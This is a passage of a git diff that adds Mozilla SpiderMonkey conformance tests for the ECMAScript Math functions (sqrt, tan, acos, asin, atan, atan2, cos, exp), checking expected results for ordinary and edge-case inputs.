+ "Math.sin(1.570796326795)",
+ 1,
+ Math.sin(1.570796326795));
+
+new TestCase(
+ "Math.sin(2.356194490192)",
+ 0.7071067811865,
+ Math.sin(2.356194490192));
+
+new TestCase(
+ "Math.sin(3.14159265359)",
+ 0,
+ Math.sin(3.14159265359));
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.17.js b/js/src/tests/non262/Math/15.8.2.17.js
new file mode 100644
index 0000000000..18b4a0a281
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.17.js
@@ -0,0 +1,181 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.17.js
+ ECMA Section: 15.8.2.17 Math.sqrt(x)
+ Description: return an approximation to the squareroot of the argument.
+ special cases:
+ - if x is NaN return NaN
+ - if x < 0 return NaN
+ - if x == 0 return 0
+ - if x == -0 return -0
+ - if x == Infinity return Infinity
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.17";
+var TITLE = "Math.sqrt(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.sqrt.length",
+ 1,
+ Math.sqrt.length );
+
+new TestCase(
+ "Math.sqrt()",
+ Number.NaN,
+ Math.sqrt() );
+
+new TestCase(
+ "Math.sqrt(void 0)",
+ Number.NaN,
+ Math.sqrt(void 0) );
+
+new TestCase(
+ "Math.sqrt(null)",
+ 0,
+ Math.sqrt(null) );
+
+new TestCase(
+ "Math.sqrt(true)",
+ 1,
+ Math.sqrt(1) );
+
+new TestCase(
+ "Math.sqrt(false)",
+ 0,
+ Math.sqrt(false) );
+
+new TestCase(
+ "Math.sqrt('225')",
+ 15,
+ Math.sqrt('225') );
+
+new TestCase(
+ "Math.sqrt(NaN)",
+ Number.NaN,
+ Math.sqrt(Number.NaN) );
+
+new TestCase(
+ "Math.sqrt(-Infinity)",
+ Number.NaN,
+ Math.sqrt(Number.NEGATIVE_INFINITY));
+
+new TestCase(
+ "Math.sqrt(-1)",
+ Number.NaN,
+ Math.sqrt(-1));
+
+new TestCase(
+ "Math.sqrt(-0.5)",
+ Number.NaN,
+ Math.sqrt(-0.5));
+
+new TestCase(
+ "Math.sqrt(0)",
+ 0,
+ Math.sqrt(0));
+
+new TestCase(
+ "Math.sqrt(-0)",
+ -0,
+ Math.sqrt(-0));
+
+new TestCase(
+ "Infinity/Math.sqrt(-0)",
+ -Infinity,
+ Infinity/Math.sqrt(-0) );
+
+new TestCase(
+ "Math.sqrt(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.sqrt(Number.POSITIVE_INFINITY));
+
+new TestCase(
+ "Math.sqrt(1)",
+ 1,
+ Math.sqrt(1));
+
+new TestCase(
+ "Math.sqrt(2)",
+ Math.SQRT2,
+ Math.sqrt(2));
+
+new TestCase(
+ "Math.sqrt(0.5)",
+ Math.SQRT1_2,
+ Math.sqrt(0.5));
+
+new TestCase(
+ "Math.sqrt(4)",
+ 2,
+ Math.sqrt(4));
+
+new TestCase(
+ "Math.sqrt(9)",
+ 3,
+ Math.sqrt(9));
+
+new TestCase(
+ "Math.sqrt(16)",
+ 4,
+ Math.sqrt(16));
+
+new TestCase(
+ "Math.sqrt(25)",
+ 5,
+ Math.sqrt(25));
+
+new TestCase(
+ "Math.sqrt(36)",
+ 6,
+ Math.sqrt(36));
+
+new TestCase(
+ "Math.sqrt(49)",
+ 7,
+ Math.sqrt(49));
+
+new TestCase(
+ "Math.sqrt(64)",
+ 8,
+ Math.sqrt(64));
+
+new TestCase(
+ "Math.sqrt(256)",
+ 16,
+ Math.sqrt(256));
+
+new TestCase(
+ "Math.sqrt(10000)",
+ 100,
+ Math.sqrt(10000));
+
+new TestCase(
+ "Math.sqrt(65536)",
+ 256,
+ Math.sqrt(65536));
+
+new TestCase(
+ "Math.sqrt(0.09)",
+ 0.3,
+ Math.sqrt(0.09));
+
+new TestCase(
+ "Math.sqrt(0.01)",
+ 0.1,
+ Math.sqrt(0.01));
+
+new TestCase(
+ "Math.sqrt(0.00000001)",
+ 0.0001,
+ Math.sqrt(0.00000001));
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.18.js b/js/src/tests/non262/Math/15.8.2.18.js
new file mode 100644
index 0000000000..574ec18b99
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.18.js
@@ -0,0 +1,111 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.18.js
+ ECMA Section: 15.8.2.18 tan( x )
+ Description: return an approximation to the tan of the
+ argument. argument is expressed in radians
+ special cases:
+ - if x is NaN result is NaN
+ - if x is 0 result is 0
+ - if x is -0 result is -0
+ - if x is Infinity or -Infinity result is NaN
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.18";
+var TITLE = "Math.tan(x)";
+var EXCLUDE = "true";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( "Math.tan.length",
+ 1,
+ Math.tan.length );
+
+new TestCase( "Math.tan()",
+ Number.NaN,
+ Math.tan() );
+
+new TestCase( "Math.tan(void 0)",
+ Number.NaN,
+ Math.tan(void 0));
+
+new TestCase( "Math.tan(null)",
+ 0,
+ Math.tan(null) );
+
+new TestCase( "Math.tan(false)",
+ 0,
+ Math.tan(false) );
+
+new TestCase( "Math.tan(NaN)",
+ Number.NaN,
+ Math.tan(Number.NaN) );
+
+new TestCase( "Math.tan(0)",
+ 0,
+ Math.tan(0));
+
+new TestCase( "Math.tan(-0)",
+ -0,
+ Math.tan(-0));
+
+new TestCase( "Math.tan(Infinity)",
+ Number.NaN,
+ Math.tan(Number.POSITIVE_INFINITY));
+
+new TestCase( "Math.tan(-Infinity)",
+ Number.NaN,
+ Math.tan(Number.NEGATIVE_INFINITY));
+
+new TestCase( "Math.tan(Math.PI/4)",
+ 1,
+ Math.tan(Math.PI/4));
+
+new TestCase( "Math.tan(3*Math.PI/4)",
+ -1,
+ Math.tan(3*Math.PI/4));
+
+new TestCase( "Math.tan(Math.PI)",
+ -0,
+ Math.tan(Math.PI));
+
+new TestCase( "Math.tan(5*Math.PI/4)",
+ 1,
+ Math.tan(5*Math.PI/4));
+
+new TestCase( "Math.tan(7*Math.PI/4)",
+ -1,
+ Math.tan(7*Math.PI/4));
+
+new TestCase( "Infinity/Math.tan(-0)",
+ -Infinity,
+ Infinity/Math.tan(-0) );
+
+/*
+ Arctan (x) ~ PI/2 - 1/x for large x. For x = 1.6x10^16, 1/x is about the last binary digit of double precision PI/2.
+ That is to say, perturbing PI/2 by this much is about the smallest rounding error possible.
+
+ This suggests that the answer Christine is getting and a real Infinity are "adjacent" results from the tangent function. I
+ suspect that tan (PI/2 + one ulp) is a negative result about the same size as tan (PI/2) and that this pair are the closest
+ results to infinity that the algorithm can deliver.
+
+ In any case, my call is that the answer we're seeing is "right". I suggest the test pass on any result this size or larger.
+ = C =
+*/
+
+new TestCase( "Math.tan(3*Math.PI/2) >= 5443000000000000",
+ true,
+ Math.tan(3*Math.PI/2) >= 5443000000000000 );
+
+new TestCase( "Math.tan(Math.PI/2) >= 5443000000000000",
+ true,
+ Math.tan(Math.PI/2) >= 5443000000000000 );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.2.js b/js/src/tests/non262/Math/15.8.2.2.js
new file mode 100644
index 0000000000..fef32b9e41
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.2.js
@@ -0,0 +1,120 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.2.js
+ ECMA Section: 15.8.2.2 acos( x )
+ Description: return an approximation to the arc cosine of the
+ argument. the result is expressed in radians and
+ range is from +0 to +PI. special cases:
+ - if x is NaN, return NaN
+ - if x > 1, the result is NaN
+ - if x < -1, the result is NaN
+ - if x == 1, the result is +0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+var SECTION = "15.8.2.2";
+var TITLE = "Math.acos()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.acos.length",
+ 1,
+ Math.acos.length );
+
+new TestCase(
+ "Math.acos(void 0)",
+ Number.NaN,
+ Math.acos(void 0) );
+
+new TestCase(
+ "Math.acos()",
+ Number.NaN,
+ Math.acos() );
+
+new TestCase(
+ "Math.acos(null)",
+ Math.PI/2,
+ Math.acos(null) );
+
+new TestCase(
+ "Math.acos(NaN)",
+ Number.NaN,
+ Math.acos(Number.NaN) );
+
+new TestCase(
+ "Math.acos(a string)",
+ Number.NaN,
+ Math.acos("a string") );
+
+new TestCase(
+ "Math.acos('0')",
+ Math.PI/2,
+ Math.acos('0') );
+
+new TestCase(
+ "Math.acos('1')",
+ 0,
+ Math.acos('1') );
+
+new TestCase(
+ "Math.acos('-1')",
+ Math.PI,
+ Math.acos('-1') );
+
+new TestCase(
+ "Math.acos(1.00000001)",
+ Number.NaN,
+ Math.acos(1.00000001) );
+
+new TestCase(
+ "Math.acos(11.00000001)",
+ Number.NaN,
+ Math.acos(-1.00000001) );
+
+new TestCase(
+ "Math.acos(1)",
+ 0,
+ Math.acos(1) );
+
+new TestCase(
+ "Math.acos(-1)",
+ Math.PI,
+ Math.acos(-1) );
+
+new TestCase(
+ "Math.acos(0)",
+ Math.PI/2,
+ Math.acos(0) );
+
+new TestCase(
+ "Math.acos(-0)",
+ Math.PI/2,
+ Math.acos(-0) );
+
+new TestCase(
+ "Math.acos(Math.SQRT1_2)",
+ Math.PI/4,
+ Math.acos(Math.SQRT1_2));
+
+new TestCase(
+ "Math.acos(-Math.SQRT1_2)",
+ Math.PI/4*3,
+ Math.acos(-Math.SQRT1_2));
+
+new TestCase(
+ "Math.acos(0.9999619230642)",
+ Math.PI/360,
+ Math.acos(0.9999619230642));
+
+new TestCase(
+ "Math.acos(-3.0)",
+ Number.NaN,
+ Math.acos(-3.0));
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.3.js b/js/src/tests/non262/Math/15.8.2.3.js
new file mode 100644
index 0000000000..750f22bb60
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.3.js
@@ -0,0 +1,122 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.3.js
+ ECMA Section: 15.8.2.3 asin( x )
+ Description: return an approximation to the arc sine of the
+ argument. the result is expressed in radians and
+ range is from -PI/2 to +PI/2. special cases:
+ - if x is NaN, the result is NaN
+ - if x > 1, the result is NaN
+ - if x < -1, the result is NaN
+ - if x == +0, the result is +0
+ - if x == -0, the result is -0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.3";
+var TITLE = "Math.asin()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.asin()",
+ Number.NaN,
+ Math.asin() );
+
+new TestCase(
+ "Math.asin(void 0)",
+ Number.NaN,
+ Math.asin(void 0) );
+
+new TestCase(
+ "Math.asin(null)",
+ 0,
+ Math.asin(null) );
+
+new TestCase(
+ "Math.asin(NaN)",
+ Number.NaN,
+ Math.asin(Number.NaN) );
+
+new TestCase(
+ "Math.asin('string')",
+ Number.NaN,
+ Math.asin("string") );
+
+new TestCase(
+ "Math.asin('0')",
+ 0,
+ Math.asin("0") );
+
+new TestCase(
+ "Math.asin('1')",
+ Math.PI/2,
+ Math.asin("1") );
+
+new TestCase(
+ "Math.asin('-1')",
+ -Math.PI/2,
+ Math.asin("-1") );
+
+new TestCase(
+ "Math.asin(Math.SQRT1_2+'')",
+ Math.PI/4,
+ Math.asin(Math.SQRT1_2+'') );
+
+new TestCase(
+ "Math.asin(-Math.SQRT1_2+'')",
+ -Math.PI/4,
+ Math.asin(-Math.SQRT1_2+'') );
+
+new TestCase(
+ "Math.asin(1.000001)",
+ Number.NaN,
+ Math.asin(1.000001) );
+
+new TestCase(
+ "Math.asin(-1.000001)",
+ Number.NaN,
+ Math.asin(-1.000001) );
+
+new TestCase(
+ "Math.asin(0)",
+ 0,
+ Math.asin(0) );
+
+new TestCase(
+ "Math.asin(-0)",
+ -0,
+ Math.asin(-0) );
+
+new TestCase(
+ "Infinity/Math.asin(-0)",
+ -Infinity,
+ Infinity/Math.asin(-0) );
+
+new TestCase(
+ "Math.asin(1)",
+ Math.PI/2,
+ Math.asin(1) );
+
+new TestCase(
+ "Math.asin(-1)",
+ -Math.PI/2,
+ Math.asin(-1) );
+
+new TestCase(
+ "Math.asin(Math.SQRT1_2))",
+ Math.PI/4,
+ Math.asin(Math.SQRT1_2) );
+
+new TestCase(
+ "Math.asin(-Math.SQRT1_2))",
+ -Math.PI/4,
+ Math.asin(-Math.SQRT1_2));
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.4.js b/js/src/tests/non262/Math/15.8.2.4.js
new file mode 100644
index 0000000000..ee957aa93e
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.4.js
@@ -0,0 +1,121 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.4.js
+ ECMA Section: 15.8.2.4 atan( x )
+ Description: return an approximation to the arc tangent of the
+ argument. the result is expressed in radians and
+ range is from -PI/2 to +PI/2. special cases:
+ - if x is NaN, the result is NaN
+ - if x == +0, the result is +0
+ - if x == -0, the result is -0
+ - if x == +Infinity, the result is approximately +PI/2
+ - if x == -Infinity, the result is approximately -PI/2
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+
+var SECTION = "15.8.2.4";
+var TITLE = "Math.atan()";
+var BUGNUMBER="77391";
+
+printBugNumber(BUGNUMBER);
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.atan.length",
+ 1,
+ Math.atan.length );
+
+new TestCase(
+ "Math.atan()",
+ Number.NaN,
+ Math.atan() );
+
+new TestCase(
+ "Math.atan(void 0)",
+ Number.NaN,
+ Math.atan(void 0) );
+
+new TestCase(
+ "Math.atan(null)",
+ 0,
+ Math.atan(null) );
+
+new TestCase(
+ "Math.atan(NaN)",
+ Number.NaN,
+ Math.atan(Number.NaN) );
+
+new TestCase(
+ "Math.atan('a string')",
+ Number.NaN,
+ Math.atan("a string") );
+
+new TestCase(
+ "Math.atan('0')",
+ 0,
+ Math.atan('0') );
+
+new TestCase(
+ "Math.atan('1')",
+ Math.PI/4,
+ Math.atan('1') );
+
+new TestCase(
+ "Math.atan('-1')",
+ -Math.PI/4,
+ Math.atan('-1') );
+
+new TestCase(
+ "Math.atan('Infinity)",
+ Math.PI/2,
+ Math.atan('Infinity') );
+
+new TestCase(
+ "Math.atan('-Infinity)",
+ -Math.PI/2,
+ Math.atan('-Infinity') );
+
+new TestCase(
+ "Math.atan(0)",
+ 0,
+ Math.atan(0) );
+
+new TestCase(
+ "Math.atan(-0)",
+ -0,
+ Math.atan(-0) );
+
+new TestCase(
+ "Infinity/Math.atan(-0)",
+ -Infinity,
+ Infinity/Math.atan(-0) );
+
+new TestCase(
+ "Math.atan(Infinity)",
+ Math.PI/2,
+ Math.atan(Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan(-Infinity)",
+ -Math.PI/2,
+ Math.atan(Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan(1)",
+ Math.PI/4,
+ Math.atan(1) );
+
+new TestCase(
+ "Math.atan(-1)",
+ -Math.PI/4,
+ Math.atan(-1) );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.5.js b/js/src/tests/non262/Math/15.8.2.5.js
new file mode 100644
index 0000000000..0f1cf7182e
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.5.js
@@ -0,0 +1,209 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.5.js
+ ECMA Section: 15.8.2.5 atan2( y, x )
+ Description:
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.2.5";
+var TITLE = "Math.atan2(x,y)";
+var BUGNUMBER="76111";
+
+printBugNumber(BUGNUMBER);
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.atan2.length",
+ 2,
+ Math.atan2.length );
+
+new TestCase(
+ "Math.atan2(NaN, 0)",
+ Number.NaN,
+ Math.atan2(Number.NaN,0) );
+
+new TestCase(
+ "Math.atan2(null, null)",
+ 0,
+ Math.atan2(null, null) );
+
+new TestCase(
+ "Math.atan2(void 0, void 0)",
+ Number.NaN,
+ Math.atan2(void 0, void 0) );
+
+new TestCase(
+ "Math.atan2()",
+ Number.NaN,
+ Math.atan2() );
+
+new TestCase(
+ "Math.atan2(0, NaN)",
+ Number.NaN,
+ Math.atan2(0,Number.NaN) );
+
+new TestCase(
+ "Math.atan2(1, 0)",
+ Math.PI/2,
+ Math.atan2(1,0) );
+
+new TestCase(
+ "Math.atan2(1,-0)",
+ Math.PI/2,
+ Math.atan2(1,-0) );
+
+new TestCase(
+ "Math.atan2(0,0.001)",
+ 0,
+ Math.atan2(0,0.001) );
+
+new TestCase(
+ "Math.atan2(0,0)",
+ 0,
+ Math.atan2(0,0) );
+
+new TestCase(
+ "Math.atan2(0, -0)",
+ Math.PI,
+ Math.atan2(0,-0) );
+
+new TestCase(
+ "Math.atan2(0, -1)",
+ Math.PI,
+ Math.atan2(0, -1) );
+
+new TestCase(
+ "Math.atan2(-0, 1)",
+ -0,
+ Math.atan2(-0, 1) );
+
+new TestCase(
+ "Infinity/Math.atan2(-0, 1)",
+ -Infinity,
+ Infinity/Math.atan2(-0,1) );
+
+new TestCase(
+ "Math.atan2(-0, 0)",
+ -0,
+ Math.atan2(-0,0) );
+
+new TestCase(
+ "Math.atan2(-0, -0)",
+ -Math.PI,
+ Math.atan2(-0, -0) );
+
+new TestCase(
+ "Math.atan2(-0, -1)",
+ -Math.PI,
+ Math.atan2(-0, -1) );
+
+new TestCase(
+ "Math.atan2(-1, 0)",
+ -Math.PI/2,
+ Math.atan2(-1, 0) );
+
+new TestCase(
+ "Math.atan2(-1, -0)",
+ -Math.PI/2,
+ Math.atan2(-1, -0) );
+
+new TestCase(
+ "Math.atan2(1, Infinity)",
+ 0,
+ Math.atan2(1, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(1,-Infinity)",
+ Math.PI,
+ Math.atan2(1, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(-1, Infinity)",
+ -0,
+ Math.atan2(-1,Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Infinity/Math.atan2(-1, Infinity)",
+ -Infinity,
+ Infinity/Math.atan2(-1,Infinity) );
+
+new TestCase(
+ "Math.atan2(-1,-Infinity)",
+ -Math.PI,
+ Math.atan2(-1,Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(Infinity, 0)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY, 0) );
+
+new TestCase(
+ "Math.atan2(Infinity, 1)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY, 1) );
+
+new TestCase(
+ "Math.atan2(Infinity,-1)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY,-1) );
+
+new TestCase(
+ "Math.atan2(Infinity,-0)",
+ Math.PI/2,
+ Math.atan2(Number.POSITIVE_INFINITY,-0) );
+
+new TestCase(
+ "Math.atan2(-Infinity, 0)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY, 0) );
+
+new TestCase(
+ "Math.atan2(-Infinity,-0)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY,-0) );
+
+new TestCase(
+ "Math.atan2(-Infinity, 1)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY, 1) );
+
+new TestCase(
+ "Math.atan2(-Infinity, -1)",
+ -Math.PI/2,
+ Math.atan2(Number.NEGATIVE_INFINITY,-1) );
+
+new TestCase(
+ "Math.atan2(Infinity, Infinity)",
+ Math.PI/4,
+ Math.atan2(Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(Infinity, -Infinity)",
+ 3*Math.PI/4,
+ Math.atan2(Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(-Infinity, Infinity)",
+ -Math.PI/4,
+ Math.atan2(Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(-Infinity, -Infinity)",
+ -3*Math.PI/4,
+ Math.atan2(Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.atan2(-1, 1)",
+ -Math.PI/4,
+ Math.atan2( -1, 1) );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.7.js b/js/src/tests/non262/Math/15.8.2.7.js
new file mode 100644
index 0000000000..70af7e679f
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.7.js
@@ -0,0 +1,247 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.7.js
+ ECMA Section: 15.8.2.7 cos( x )
+ Description: return an approximation to the cosine of the
+ argument. argument is expressed in radians
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+
+var SECTION = "15.8.2.7";
+var TITLE = "Math.cos(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "Math.cos.length",
+ 1,
+ Math.cos.length );
+
+new TestCase(
+ "Math.cos()",
+ Number.NaN,
+ Math.cos() );
+
+new TestCase(
+ "Math.cos(void 0)",
+ Number.NaN,
+ Math.cos(void 0) );
+
+new TestCase(
+ "Math.cos(false)",
+ 1,
+ Math.cos(false) );
+
+new TestCase(
+ "Math.cos(null)",
+ 1,
+ Math.cos(null) );
+
+new TestCase(
+ "Math.cos('0')",
+ 1,
+ Math.cos('0') );
+
+new TestCase(
+ "Math.cos('Infinity')",
+ Number.NaN,
+ Math.cos("Infinity") );
+
+new TestCase(
+ "Math.cos('3.14159265359')",
+ -1,
+ Math.cos('3.14159265359') );
+
+new TestCase(
+ "Math.cos(NaN)",
+ Number.NaN,
+ Math.cos(Number.NaN) );
+
+new TestCase(
+ "Math.cos(0)",
+ 1,
+ Math.cos(0) );
+
+new TestCase(
+ "Math.cos(-0)",
+ 1,
+ Math.cos(-0) );
+
+new TestCase(
+ "Math.cos(Infinity)",
+ Number.NaN,
+ Math.cos(Number.POSITIVE_INFINITY) );
+
+new TestCase(
+ "Math.cos(-Infinity)",
+ Number.NaN,
+ Math.cos(Number.NEGATIVE_INFINITY) );
+
+new TestCase(
+ "Math.cos(0.7853981633974)",
+ 0.7071067811865,
+ Math.cos(0.7853981633974) );
+
+new TestCase(
+ "Math.cos(1.570796326795)",
+ 0,
+ Math.cos(1.570796326795) );
+
+new TestCase(
+ "Math.cos(2.356194490192)",
+ -0.7071067811865,
+ Math.cos(2.356194490192) );
+
+new TestCase(
+ "Math.cos(3.14159265359)",
+ -1,
+ Math.cos(3.14159265359) );
+
+new TestCase(
+ "Math.cos(3.926990816987)",
+ -0.7071067811865,
+ Math.cos(3.926990816987) );
+
+new TestCase(
+ "Math.cos(4.712388980385)",
+ 0,
+ Math.cos(4.712388980385) );
+
+new TestCase(
+ "Math.cos(5.497787143782)",
+ 0.7071067811865,
+ Math.cos(5.497787143782) );
+
+new TestCase(
+ "Math.cos(Math.PI*2)",
+ 1,
+ Math.cos(Math.PI*2) );
+
+new TestCase(
+ "Math.cos(Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(Math.PI/4) );
+
+new TestCase(
+ "Math.cos(Math.PI/2)",
+ 0,
+ Math.cos(Math.PI/2) );
+
+new TestCase(
+ "Math.cos(3*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(3*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(Math.PI)",
+ -1,
+ Math.cos(Math.PI) );
+
+new TestCase(
+ "Math.cos(5*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(5*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(3*Math.PI/2)",
+ 0,
+ Math.cos(3*Math.PI/2) );
+
+new TestCase(
+ "Math.cos(7*Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(7*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(Math.PI*2)",
+ 1,
+ Math.cos(2*Math.PI) );
+
+new TestCase(
+ "Math.cos(-0.7853981633974)",
+ 0.7071067811865,
+ Math.cos(-0.7853981633974) );
+
+new TestCase(
+ "Math.cos(-1.570796326795)",
+ 0,
+ Math.cos(-1.570796326795) );
+
+new TestCase(
+ "Math.cos(-2.3561944901920)",
+ -.7071067811865,
+ Math.cos(2.3561944901920) );
+
+new TestCase(
+ "Math.cos(-3.14159265359)",
+ -1,
+ Math.cos(3.14159265359) );
+
+new TestCase(
+ "Math.cos(-3.926990816987)",
+ -0.7071067811865,
+ Math.cos(3.926990816987) );
+
+new TestCase(
+ "Math.cos(-4.712388980385)",
+ 0,
+ Math.cos(4.712388980385) );
+
+new TestCase(
+ "Math.cos(-5.497787143782)",
+ 0.7071067811865,
+ Math.cos(5.497787143782) );
+
+new TestCase(
+ "Math.cos(-6.28318530718)",
+ 1,
+ Math.cos(6.28318530718) );
+
+new TestCase(
+ "Math.cos(-Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(-Math.PI/4) );
+
+new TestCase(
+ "Math.cos(-Math.PI/2)",
+ 0,
+ Math.cos(-Math.PI/2) );
+
+new TestCase(
+ "Math.cos(-3*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(-3*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(-Math.PI)",
+ -1,
+ Math.cos(-Math.PI) );
+
+new TestCase(
+ "Math.cos(-5*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(-5*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(-3*Math.PI/2)",
+ 0,
+ Math.cos(-3*Math.PI/2) );
+
+new TestCase(
+ "Math.cos(-7*Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(-7*Math.PI/4) );
+
+new TestCase(
+ "Math.cos(-Math.PI*2)",
+ 1,
+ Math.cos(-Math.PI*2) );
+
+test();
diff --git a/js/src/tests/non262/Math/15.8.2.8.js b/js/src/tests/non262/Math/15.8.2.8.js
new file mode 100644
index 0000000000..78f7eb7898
--- /dev/null
+++ b/js/src/tests/non262/Math/15.8.2.8.js
@@ -0,0 +1,84 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.8.js
+ ECMA Section: 15.8.2.8 Math.exp(x)
+ Description: return an approximation to the exponential function of
+ the argument (e raised to the power of the argument)
+ special cases:
+ - if x is NaN return NaN
+ - if x is 0 return 1
+ - if x is -0 return 1
+ - if x is Infinity return Infinity
+ - if x is -Infinity return 0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+
+var SECTION = "15.8.2.8";
+var TITLE = "Math.exp(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( "Math.exp.length",
+ 1,
+ Math.exp.length );
+
+new TestCase( "Math.exp()",
+ Number.NaN,
+ Math.exp() );
+
+new TestCase( "Math.exp(null)",
+ 1,
+ Math.exp(null) );
+
+new TestCase( "Math.exp(void 0)",
+ Number.NaN,
+ Math.exp(void 0) );
+
+new TestCase( "Math.exp(1)",
+ Math.E,
+ Math.exp(1) );
+
+new TestCase( "Math.exp(true)",
+ Math.E,
+ Math.exp(true) );
+
+new TestCase( "Math.exp(false)",
+ 1,
+ Math.exp(false) );
+
+new TestCase( "Math.exp('1')",
+ Math.E,
+ Math.exp('1') );
+
+new TestCase( "Math.exp('0')",
+ 1,
+ Math.exp('0') );
+
+new TestCase( "Math.exp(NaN)",
+ Number.NaN,
+ Math.exp(Number.NaN) );
+
+new TestCase( "Math.exp(0)",
+ 1,
+ Math.exp(0) );
+
+new TestCase( "Math.exp(-0)",
+ 1,
+ Math.exp(-0) );
+
